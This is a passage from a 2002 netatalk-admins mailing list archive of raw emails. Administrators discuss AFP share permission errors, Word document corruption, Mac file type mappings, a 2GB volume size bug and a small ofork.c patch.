	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I know I have asked this question before, and I still =
can&#8217;t
seem to get it right.<span style=3D'mso-spacerun:yes'>&nbsp; </span>I =
would like
to start from scratch.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I have a share called Work in Progress, when I copy =
files directly
onto the share it works fine.<span style=3D'mso-spacerun:yes'>&nbsp; =
</span>The
problem comes when I drop folders or anything of that nature it copies =
the
folder and then I get a permissions error.<span =
style=3D'mso-spacerun:yes'>&nbsp;
</span>I have the folders set up to Read, change and write <span
style=3D'mso-spacerun:yes'>&nbsp;</span>for everyone.<span
style=3D'mso-spacerun:yes'>&nbsp; </span>If I take the items from the =
folder and
copy them at the root of Work<span style=3D'mso-spacerun:yes'>&nbsp; =
</span>In
Progress the files copy fine, I can then take the files and move them =
where I originally
intended.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Obviously my users aren&#8217;t to impressed with =
this, do I
need to expand permissions somewhere else?<span =
style=3D'mso-spacerun:yes'>&nbsp;
</span>If so could I Have instructions.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanks <o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><st1:PersonName><font size=3D2 face=3DArial><span
 style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>Brian =
Curtis</span></font></st1:PersonName><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt;mso-no-proof:yes'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;mso-no-proof:yes'>IT Manager</span></font><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><em><i><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;mso-no-proof:yes'>Kelliher Samets =
Volk</span></font></i></em><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><em><i><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;mso-no-proof:yes'>Red-Wire</span></font></i></em><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><st1:PersonName><em><i><font size=3D2 =
face=3DArial><span
 =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>Action</spa=
n></font></i></em></st1:PersonName><em><i><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:
yes'> Research</span></font></i></em><span =
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><st1:Street><st1:address><em><i><font size=3D2 =
face=3DArial><span
  style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>212 =
Battery
  Street</span></font></i></em></st1:address></st1:Street><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><st1:place><st1:City><em><i><font size=3D2 =
face=3DArial><span
  =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>Burlington<=
/span></font></i></em></st1:City><em><i><font
 size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:
 yes'>, </span></font></i></em><st1:State><em><i><font size=3D2 =
face=3DArial><span
  =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>VT</span></=
font></i></em></st1:State><em><i><font
 size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:
 yes'>&nbsp; </span></font></i></em><st1:PostalCode><em><i><font =
size=3D2
  face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>05401</span=
></font></i></em></st1:PostalCode></st1:place><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C1A4E7.74A03151--

From netatalk.administrators-errors@umich.edu  Thu Jan 24 10:04:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA24839
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 24 Jan 2002 10:04:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA27924
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 24 Jan 2002 10:04:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA27907
	for netatalk.administrators-members@umich.edu; Thu, 24 Jan 2002 10:04:47 -0500 (EST)
Received: from icsatm3.mobilpost.com (icsatm3-f.mobil.telenor.no [212.17.129.197])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA27865
	for <netatalk-admins@umich.edu>; Thu, 24 Jan 2002 10:04:45 -0500 (EST)
Date: 24 Jan 2002 16:00:58 +0100
Message-ID: <94724917290167484@mobilpost.com>
From: Gjermund Gusland Thorsen <90167484@mobilpost.com>
Subject: Re: Word v.X documents get corrupted when saving to a netatalk volume
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund Gusland Thorsen <90167484@mobilpost.com>
Content-Type: text/plain; charset="US-Ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA24839

Sounds exactly like the common error with Quark XPress 4.10 and 4.11!

On torsdag 24. januar 2002 03:44, Palle Girgensohn <girgen@partitur.se> wrote:
>Hi!
>
>Strange problem:
>
>Mac OS X client, freshly installed Word v.X. I create a new document, type 
>a few characters, save it to a netatalk mounted volume, so far so good. 
>Now, I type some more characters and save again. Pop, and I get a lot of 
>rubbish characters and line breaks in the documents. It seems, the process 
>bar during the save stop at about 40% for too long to be ok, maybe five 
>seconds or so. Then the corruption pops up.
>
>It used to work fine with word98, even after the system was updated to Mac 
>OS X.
>
>I've tried all sort of configurations to netatalk, CNIDR, flock etc... 
>Nothing helps. :(
>
>We do use character translation for iso-latin:
>/cluster1/arkiv Arkiv            codepage:maccode.iso8859-1
>
>...and maybe the doc type, W8BN, is wrong, but it wouldn't corrupt the 
>docs, would it, and besides, does OS X use it?  :
>
>.doc "W8BN" "MSWD" Word Document Microsoft Word
>application/msword
>
>Any ideas?
>
>Best regards,
>Palle Girgensohn
>


From netatalk.administrators-errors@umich.edu  Thu Jan 24 13:52:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA05617
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 24 Jan 2002 13:52:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA04006
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 24 Jan 2002 13:52:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA03988
	for netatalk.administrators-members@umich.edu; Thu, 24 Jan 2002 13:52:46 -0500 (EST)
Received: from dot.state.wi.us (hfstbx.dot.state.wi.us [130.47.34.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA03964
	for <netatalk-admins@umich.edu>; Thu, 24 Jan 2002 13:52:45 -0500 (EST)
Received: from SMTP agent by mail gateway 
 Thu, 24 Jan 2002 12:52:45 -0600
Received: by dot.state.wi.us; id NAA27568; Thu, 24 Jan 2002 13:52:44 -0500 (EST)
Received: by mad00mp4.dot.state.wi.us with Internet Mail Service (5.5.2653.19)
	id <CTWDTY2N>; Thu, 24 Jan 2002 12:52:44 -0600
Message-ID: <117EB231197AD51192150003474D3AE2421444@mad00mp5.dot.state.wi.us>
From: "Black, Nathan" <nathan.black@dot.state.wi.us>
To: netatalk-admins@umich.edu
Subject: RE: Permissions? (solved)
Date: Thu, 24 Jan 2002 12:52:43 -0600
Return-Receipt-To: "Black, Nathan" <nathan.black@dot.state.wi.us>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

Hi
I did with the RPM, worked like a charm.  However, I did find out what I did
wrong last time.  When I compiled it, I used ./configure with flocks
did=last for RedHat, use tcpwrappers, use pam, and shadow. 

After compilation, it followed the path too far into the directory and put
the Netatalk pam file in /etc/pam.d/etc/pam.d/ .   I kept getting file not
found errors in /var/log/messages during authentication attempts. 

Thanks for the tips.

> -----Original Message-----
> From: Thomas Kaiser [mailto:Thomas.Kaiser@phg-online.de]
> Sent: Thursday, January 17, 2002 9:02 AM
> To: Black, Nathan; 'Damien MATTEI'
> Cc: netatalk-admins@umich.edu
> Subject: Re: Permissions?
> 
> 
> On Thu, 17 Jan 2002 08:43:22 -0600, Black, Nathan wrote:
> 
> > I will re-do it with the RedHat rpm and see what happens.  Do you
> > know what flags they used to build the RPM?
> 
> Take a look at 2 sites with recent netatalk RPMs for RedHat 7.2:
> 
> <http://kraftwerk.adsl.dk/netatalk/> (the specs are available 
> directly from
> there)
> 
> <ftp://ftp.falsehope.net/home/tengel/netatalk/> (to know how 
> they build it,
> you have to download the src-RPM and extract the netatalk.spec file)
> 
> I would strongly recommend using RPMs based on the final 1.5.0 version
> instead of using so called 'official' ones from RedHat (the 
> last based on
> 1.5pre2 -- many things have changed in the meantime)
> 
> Regards,
> 
> Thomas
> 

From netatalk.administrators-errors@umich.edu  Thu Jan 24 13:55:35 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA05785
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 24 Jan 2002 13:55:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA20189
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 24 Jan 2002 13:55:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA20181
	for netatalk.administrators-members@umich.edu; Thu, 24 Jan 2002 13:55:34 -0500 (EST)
Received: from dot.state.wi.us (hfstbx.dot.state.wi.us [130.47.34.2])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA20074
	for <netatalk-admins@umich.edu>; Thu, 24 Jan 2002 13:55:33 -0500 (EST)
Received: from SMTP agent by mail gateway 
 Thu, 24 Jan 2002 12:55:33 -0600
Received: by dot.state.wi.us; id NAA27828; Thu, 24 Jan 2002 13:55:29 -0500 (EST)
Received: by mad00mp4.dot.state.wi.us with Internet Mail Service (5.5.2653.19)
	id <CTWDTYKN>; Thu, 24 Jan 2002 12:55:29 -0600
Message-ID: <117EB231197AD51192150003474D3AE2421445@mad00mp5.dot.state.wi.us>
From: "Black, Nathan" <nathan.black@dot.state.wi.us>
To: netatalk-admins@umich.edu
Subject: doc types
Date: Thu, 24 Jan 2002 12:55:26 -0600
Return-Receipt-To: "Black, Nathan" <nathan.black@dot.state.wi.us>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

Hello again
I'm a long time Linux user but an overnight want-a-be appletalk/ddp guru.  

Any body have any idea for what to put as doc type for documents created by
the program Press Touch by Scitex/Creo?  Or a resource that might explain
more about what that AppleVolume.system information file syntax is?

I put .job and just set it as a binary (BINA) I think, that didn't change
anything but made me hopeful.  

Thanks, 
Nathan

From netatalk.administrators-errors@umich.edu  Thu Jan 24 16:01:49 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA13674
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 24 Jan 2002 16:01:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA17206
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 24 Jan 2002 16:01:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA17200
	for netatalk.administrators-members@umich.edu; Thu, 24 Jan 2002 16:01:48 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA17186
	for <netatalk-admins@umich.edu>; Thu, 24 Jan 2002 16:01:47 -0500 (EST)
Received: from [149.225.38.253] (pec-38-253.tnt3.f.uunet.de [149.225.38.253])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA24000;
	Thu, 24 Jan 2002 22:27:04 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 24 Jan 2002 22:01:31 +0100
Subject: Re: doc types
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "Black, Nathan" <nathan.black@dot.state.wi.us>,
        <netatalk-admins@umich.edu>
Message-ID: <B8763467.196BC%Thomas.Kaiser@phg-online.de>
In-Reply-To: <117EB231197AD51192150003474D3AE2421445@mad00mp5.dot.state.wi.us>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 24 Jan 2002 12:55:26 -0600, Black, Nathan wrote:

> Any body have any idea for what to put as doc type for documents created by
> the program Press Touch by Scitex/Creo?

On a macintosh, you can use tools like FileTyper or ResEdit to look for
filetype and creator code of specific mac files. You can use ResEdit to look
into an application's BNDL resource to see, for which kind of files this
application is registered.

There exists a filetype/creator code database that is searchable, IIRC:
<http://www.angelfire.com/mac/tcdb/main.html>

> Or a resource that might explain more about what that AppleVolume.system
> information file syntax is?

It's simple. You need only three entries per line: extension, filetype and
creator code, eg.:

    .pdf      "PDF "  "CARO"

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Jan 25 06:18:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA21410
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 25 Jan 2002 06:18:57 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA16970
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 25 Jan 2002 06:18:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA16962
	for netatalk.administrators-members@umich.edu; Fri, 25 Jan 2002 06:18:56 -0500 (EST)
Received: from ostry.com ([212.236.88.15])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA16937
	for <netatalk-admins@umich.edu>; Fri, 25 Jan 2002 06:18:55 -0500 (EST)
Received: from [195.26.199.200] (account bw HELO bernie)
  by ostry.com (CommuniGate Pro SMTP 3.4.7)
  with ESMTP id 40372 for netatalk-admins@umich.edu; Fri, 25 Jan 2002 12:18:44 +0100
Message-ID: <007201c1a592$135880a0$c8c71ac3@bernie>
From: "Bernhard Wesely" <bw@ostry.com>
To: <netatalk-admins@umich.edu>
Subject: netatalk 2GB error
Date: Fri, 25 Jan 2002 12:18:55 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Hi List,

I have a problem with netatalk 1.5.0 (Debian Package(woody) / Kernel 2.4.17)

When I mount a volume fron netatalk under MacOS X (latest updates are
installed)
OS X tells me, that the drive only has 2GB capacity. OS 9.5 (?) tells me the
same.

The funny thing is, that alle volumes together have a total capacity of 2GB.

I fund serveral hints on the web, regarding 2GB files, but nothing about
volume capacities of only 2GB. (The share should have approx. 50GB)
I saw a netatalk 1.5.0-pre8 where this problem didn't exist.

any hints are welcome,
thanks in advance.

Bye, Bernhard




From netatalk.administrators-errors@umich.edu  Fri Jan 25 23:19:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA09679
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 25 Jan 2002 23:19:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA26891
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 25 Jan 2002 23:19:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA26881
	for netatalk.administrators-members@umich.edu; Fri, 25 Jan 2002 23:19:36 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA26862
	for <netatalk-admins@umich.edu>; Fri, 25 Jan 2002 23:19:35 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id XAA22847;
	Fri, 25 Jan 2002 23:19:30 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Fri, 25 Jan 2002 23:19:07 -0500
Subject: Re: Patch for Quark et al
From: Rick Zeman <rzeman@his.com>
To: Joe Clarke <marcus@marcuscom.com>, <netatalk-devel@lists.sourceforge.net>
CC: <netatalk-admins@umich.edu>
Message-ID: <B877986B.4788%rzeman@his.com>
In-Reply-To: <20020118112022.W44774-200000@shumai.marcuscom.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 1/18/02 11:24 AM, "Joe Clarke" <marcus@marcuscom.com> wrote:

> I committed a patch the other day that Lawrence Farr has been testing for
> me that seems to have good results with Quark and Retrospect.  It has not
> been back-ported from HEAD yet, but here is the diff to 1.5.0.  Please
> test this if you can.  I'm looking for littleendian Linux, Tru64,
> littleendian OpenBSD, and littleendian NetBSD, and littleendian Solaris
> feedback.  Thanks.


I tried the patch and with my first test (with Word X) and ended up get
"afp_flushfork: of_find: No such file or directory and then afpd would kill
pid of the child process that mounted the volume. :-(

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Sat Jan 26 10:53:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA04112
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 26 Jan 2002 10:53:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA18102
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 26 Jan 2002 10:53:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA18090
	for netatalk.administrators-members@umich.edu; Sat, 26 Jan 2002 10:53:56 -0500 (EST)
Received: from IMGate.wtsonline.net (imgate.wtsonline.net [63.64.122.19])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA18060
	for <netatalk-admins@umich.edu>; Sat, 26 Jan 2002 10:53:55 -0500 (EST)
Received: from comanchetx.com (mail.comanchetx.com [63.64.122.61])
	by IMGate.wtsonline.net (Postfix Relay Hub) with ESMTP id 98A3C5D025
	for <netatalk-admins@umich.edu>; Sat, 26 Jan 2002 09:53:53 -0600 (CST)
Received: from mjv.com [65.201.66.49] by comanchetx.com with ESMTP
  (SMTPD32-6.06) id A0D5B6B6004C; Sat, 26 Jan 2002 09:52:53 -0600
Message-ID: <3C52CF9F.3040208@mjv.com>
Date: Sat, 26 Jan 2002 09:47:43 -0600
From: Michael Vanecek <mike@mjv.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Access denied errors
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D7508@ksvcmail.ksvc.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I had similar problems - I checked inside the .Appledouble directory and 
noticed that the resource files were being created with no permissions 
whatsoever. I gave the appropriate file in the .Appledouble directory 
permission and  deleted the earlier attempt in the directory below (it 
always created an empty file) and the copy went fine. I never figured 
out how to fix this - when I upgraded to 1.5.0 with RPM the problem 
dissappeared.

Cheers,
Mike

Brian Curtis wrote:

> I know I have asked this question before, and I still can't seem to get
> it right.  I would like to start from scratch.
>
>
>
> I have a share called Work in Progress, when I copy files directly onto 
> the share it works fine.  The problem comes when I drop folders or 
> anything of that nature it copies the folder and then I get a 
> permissions error.  I have the folders set up to Read, change and write 
>  for everyone.  If I take the items from the folder and copy them at the 
> root of Work  In Progress the files copy fine, I can then take the files 
> and move them where I originally intended.
>
>
>
> Obviously my users aren?t to impressed with this, do I need to expand 
> permissions somewhere else?  If so could I Have instructions.
>
>
>
> Thanks
>
>  
> 
> Brian Curtis



-- 
http://dotfile.net/ - Dedicated to Open Source Software


From netatalk.administrators-errors@umich.edu  Sat Jan 26 15:16:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA13632
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 26 Jan 2002 15:16:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA16303
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 26 Jan 2002 15:16:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA16293
	for netatalk.administrators-members@umich.edu; Sat, 26 Jan 2002 15:16:44 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA16272
	for <netatalk-admins@umich.edu>; Sat, 26 Jan 2002 15:16:43 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id g0QKF0Z00470;
	Sat, 26 Jan 2002 15:15:00 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: Patch for Quark et al
From: Joe Clarke <marcus@marcuscom.com>
To: Rick Zeman <rzeman@his.com>
Cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
In-Reply-To: <B877986B.4788%rzeman@his.com>
References: <B877986B.4788%rzeman@his.com>
Content-Type: multipart/mixed; boundary="=-IBfoAtppXeOB4NJVYial"
X-Mailer: Evolution/1.0.1 
Date: 26 Jan 2002 15:16:33 -0500
Message-Id: <1012076193.99280.7.camel@shumai.marcuscom.com>
Mime-Version: 1.0


--=-IBfoAtppXeOB4NJVYial
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Fri, 2002-01-25 at 23:19, Rick Zeman wrote:
> On 1/18/02 11:24 AM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> 
> > I committed a patch the other day that Lawrence Farr has been testing for
> > me that seems to have good results with Quark and Retrospect.  It has not
> > been back-ported from HEAD yet, but here is the diff to 1.5.0.  Please
> > test this if you can.  I'm looking for littleendian Linux, Tru64,
> > littleendian OpenBSD, and littleendian NetBSD, and littleendian Solaris
> > feedback.  Thanks.
> 
> 
> I tried the patch and with my first test (with Word X) and ended up get
> "afp_flushfork: of_find: No such file or directory and then afpd would kill
> pid of the child process that mounted the volume. :-(

Can you also try the attached patch to see if that problem goes away? 
Thanks.

Joe

> 
> -- 
> "So Long, and Thanks For All the Fish."
>        --Douglas Adams
>           1952-2001
> 
> 


--=-IBfoAtppXeOB4NJVYial
Content-Disposition: attachment; filename=ofork.c.patch
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=ISO-8859-1

--- etc/afpd/ofork.c.orig	Sat Jan 26 15:13:54 2002
+++ etc/afpd/ofork.c	Sat Jan 26 15:14:54 2002
@@ -152,11 +152,15 @@
             return NULL;
     }
=20
-    for ( refnum =3D lastrefnum++, i =3D 0; i < nforks; i++, refnum++ ) {
+	for ( refnum =3D ++lastrefnum, i =3D 0; i < nforks; i++, refnum++ ) {
+		/* cf AFP3.0.pdf, File fork page 40 */
+		if (!refnum)
+			refnum++;
         if ( oforks[ refnum % nforks ] =3D=3D NULL ) {
             break;
         }
     }
+	lastrefnum =3D refnum;
     if ( i =3D=3D nforks ) {
         syslog(LOG_ERR, "of_alloc: maximum number of forks exceeded.");
         return( NULL );

--=-IBfoAtppXeOB4NJVYial--


From netatalk.administrators-errors@umich.edu  Sun Jan 27 15:54:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA07113
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 27 Jan 2002 15:54:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA26731
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 27 Jan 2002 15:54:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA26729
	for netatalk.administrators-members@umich.edu; Sun, 27 Jan 2002 15:54:50 -0500 (EST)
Received: from ma-northadams1a-24.bur.adelphia.net (ma-northadams1a-24.bur.adelphia.net [24.52.174.24])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA26725
	for <netatalk-admins@umich.edu>; Sun, 27 Jan 2002 15:54:49 -0500 (EST)
Received: from eric by ma-northadams1a-24.bur.adelphia.net with local (Exim 3.33 #1)
	id 16UwJI-0006Bt-00; Sun, 27 Jan 2002 15:53:56 -0500
Date: Sun, 27 Jan 2002 15:53:56 -0500
From: Eric Buddington <eric@ma-northadams1a-24.bur.adelphia.net>
To: *@ma-northadams1a-24.bur.adelphia.net, netatalk-admins@umich.edu
Subject: nbprgstr fails to connect to running atalkd
Message-ID: <20020127155356.B22132@ma-northadams1a-24.bur.adelphia.net>
Reply-To: ebuddington@wesleyan.edu
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="/9DWx/yDrRhgMJTb"
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Organization: ECS Labs
X-Eric-Conspiracy: there is no conspiracy


--/9DWx/yDrRhgMJTb
Content-Type: text/plain; charset=us-ascii
